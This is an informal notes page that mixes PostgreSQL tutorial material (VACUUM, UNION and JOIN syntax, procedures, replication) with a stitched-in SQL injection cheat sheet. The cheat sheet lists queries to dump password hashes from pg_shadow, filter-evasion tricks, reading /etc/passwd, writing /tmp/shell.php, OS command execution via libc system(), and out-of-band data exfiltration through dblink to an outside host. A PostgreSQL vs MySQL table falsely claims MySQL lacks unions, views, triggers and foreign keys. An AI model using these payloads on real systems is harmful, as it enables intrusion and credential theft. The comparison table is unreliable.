postgres vaccum command

1.VACUUM FULL table_name


2.vacuum analyse

POSTGRESQL vs MYSQL

	POSTGRESQL	MYSQL
ANSI SQL compliance	Closer to ANSI SQL standard	Follows some of the ANSI SQL standards
Performance	Slower	Faster
Sub-selects	Yes	No
Transactions	Yes	Yes, however InnoDB table type must be used
Database replication	Yes	Yes
Foreign key support	Yes	No
Views	Yes	No
Stored procedures	Yes	No
Triggers	Yes	No
Unions	Yes	No
Full joins	Yes	No
Constraints	Yes	No
Windows support	Yes	Yes
Vacuum (cleanup)	Yes	No
ODBC	Yes	Yes
JDBC	Yes	Yes
Different table types	No	Yes

SQL UNION

The UNION operator is used to combine the result-set of two or more SELECT statements.
Notice that each SELECT statement within the UNION must have the same number of columns. The columns must also have similar data types. Also, the columns in each SELECT statement must be in the same order.

syntax 1.

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2


syntax 2.

SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2

SQL Joins

SQL joins are used to query data from two or more tables, based on a relationship between certain columns in these tables.

1.The INNER JOIN keyword return rows when there is at least one match in both tables.

SELECT column_name(s)
FROM table_name1
INNER JOIN table_name2
ON table_name1.column_name=table_name2.column_name

2.The LEFT JOIN keyword returns all rows from the left table (table_name1), even if there are no matches in the right table (table_name2).
 
SELECT column_name(s)
FROM table_name1
LEFT JOIN table_name2
ON table_name1.column_name=table_name2.column_name

3.The RIGHT JOIN keyword Return all rows from the right table (table_name2), even if there are no matches in the left table (table_name1).

 SELECT column_name(s)
FROM table_name1
RIGHT JOIN table_name2
ON table_name1.column_name=table_name2.column_name

4.The FULL JOIN keyword return rows when there is a match in one of the tables.

SELECT column_name(s)
FROM table_name1
FULL JOIN table_name2
ON table_name1.column_name=table_name2.column_name

All stufff With postgres

Note:
#PostgreSQL and PHP supports Batched Queries.


Version:
SELECT VERSION()

Directories:
SELECT current_setting(‘data_directory’)
SELECT current_setting(‘hba_file’)
SELECT current_setting(‘config_file’)
SELECT current_setting(‘ident_file’)
SELECT current_setting(‘external_pid_file’)


Users:
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();


Current Database:
SELECT current_database();


Concatenation:
SELECT 1||2||3; #Returns 123


Get Collation:
SELECT pg_client_encoding(); #Returns your current encoding (collation).


Change Collation:
SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.
SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.
SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.
SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.


Wildcards in SELECT(s):
SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.
SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.

Regular Expression in SELECT(s):
#Returns all columns matching the regular expression.
SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;

SELECT Without Dublicates:
SELECT DISTINCT foo FROM bar

Counting Columns:
SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.

Get Amount of PostgreSQL Users:
SELECT COUNT(*) FROM pg_catalog.pg_user

Get PostgreSQL Users:
SELECT usename FROM pg_user


Get PostgreSQL User Privileges on Different Columns:
SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges

Get PostgreSQL User Privileges:
SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user

Get PostgreSQL User Credentials & Privileges:
SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow

Get PostgreSQL DBA Accounts:
SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE

Get Databases:
SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables

Get Databases & Tables:
SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns

Get Databases, Tables & Columns:
SELECT table_schema,table_name,column_name FROM information_schema.columns

SELECT A Certain Row:
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.
…
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.

Conversion (Casting):
SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.

Substring:
SELECT SUBSTR(‘foobar’,1,3); #Returns foo.
SELECT SUBSTRING(‘foobar’,1,3); #Returns foo.

Hexadecimal Evasion:
#Not as fancy as in MySQL, but it sure works!
SELECT decode(’41424344′,’hex’); #Returns ABCD.
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.

ASCII to Number:
SELECT ASCII(‘A’); #Returns 65.

Number to ASCII:
SELECT CHR(65); #Returns A.

If Statement:
#Impossible in SELECT statements.
#However, here’s a work-around with sub-select(s).
SELECT (SELECT 1 WHERE 1=1); #Returns 1.
SELECT (SELECT 1 WHERE 1=2); #Returns NULL.

Case Statement:
#May be used instead of the If-Statement.
SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.

Read File(s):
CREATE TABLE file(content text);
COPY file FROM ‘/etc/passwd’;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;
…
UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;

Write File(s):
CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (‘’);
COPY file(content) TO ‘/tmp/shell.php’;

Logical Operator(s):
#http://en.wikipedia.org/wiki/Logical_connective
AND
OR
NOT

Comments:
SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar– Single line comment

A few evasions/methods to use between your PostgreSQL statements:
CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #Most commonly used. You know what a space is.
Multiline Comment (/**/); #Well, as the name says.
Parenthesis, ( and ); #Can also be used as separators when used right.

Parenthesis instead of space:
#As said two lines above, the use of parenthesis can be used as a separator.
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));

Auto-Casting to Right Collation:
SELECT CONVERT_TO(‘foobar’,pg_client_encoding());

Benchmark:
#Takes about 7.5 seconds to perform this logical operation.
#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.
SELECT (||/(9999!));

Sleep:
SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.

Get PostgreSQL IP:
SELECT inet_server_addr()
 
Get PostgreSQL Port:
SELECT inet_server_port()

Command Execution:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;
SELECT system(‘echo Hello.’);

DNS Requests (OOB (Out-Of-Band)):
SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’, ‘SELECT YourQuery’) RETURNS (result TEXT);

Having Fun With PostgreSQL:

• dblink: The Root Of All Evil
• Mapping Library Functions
• From Sleeping and Copying In PostgreSQL 8.2
• Recommendation and Prevention
• Introducing pgshell

That document can be found here: Having Fun With PostgreSQL.pdf, by: Nico Leidecker.
It’s a good read. All from local privilege escalation, to port-scanning techniques.

Stored Procedures vs fuctions

1) functions are used for computations where as procedures 
can be used for performing business logic.

2) functions MUST return a value, procedures need not be.

3) you can have DML(insert, update, delete) statements in a 
function. But, you cannot call such a function in a SQL 
query..eg: suppose, if u have a function that is updating a 
table.. you can't call that function in any sql query.- 
select myFunction(field) from sometable; will throw error.
4) function parameters are always IN, no OUT is possible

Postgres Replication

Replication is the server process of copying data modifications from one location to another. The main characteristics of replication which make it appealing are:

• The unit of replication is a transaction, not just an individual sequel (SQL) statement.
  
• Replicated transactions are applied in the same order as they occurred on the primary side.
  
• The replication system is able to detect whether a network connection is temporarily offline and when the component is available again. When a disruption like this occurs, the replication process should continue functioning without having to be adjusted.